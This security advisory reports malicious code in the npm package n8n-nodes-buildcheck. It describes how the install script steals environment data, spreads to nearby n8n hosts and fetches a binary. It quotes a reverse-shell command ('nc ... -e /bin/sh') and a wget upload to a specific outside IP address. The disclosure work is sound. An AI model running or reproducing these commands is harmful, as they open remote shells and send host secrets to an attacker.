MAL-2026-16177
Malicious code in n8n-nodes-buildcheck (npm)
Details
--- _-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (65dcf471b1b0c1765b92cab4922777dd8486ad14cc17bcd9475996585c75eebc) On npm install, postinstall.js collects the full environment, `id`, `hostname`, and `/proc/1/cgroup`/`status` into `/tmp/.be` and uploads it via `wget --post-file` to http://121.127.33.228:8443/env2. The same postinstall spawns a detached loop that repeatedly runs `nc 121.127.33.228 443 -e /bin/sh` with a 7-second reconnect interval, giving the remote party a persistent unauthenticated shell on the installer's host. It also attempts to authenticate to an internal n8n instance at http://10.0.3.2:5678 using a hardcoded credential and invokes `/rest/nodes/community/install` with `verify:false` to install a sibling package `n8n-nodes-sysdiag2`, extending compromise to adjacent n8n hosts. When n8n loads the community node, dist/SysDiag.node.js wgets an opaque binary from http://121.127.33.228:8444/mn8n2 into `/tmp/.mn2`, chmods it executable, and launches it detached.
Are you affected?
Enter the version of the package you're using.
Affected packages
No fixed version published yet for n8n-nodes-buildcheck (npm). Pin to a known-safe version or switch to an alternative.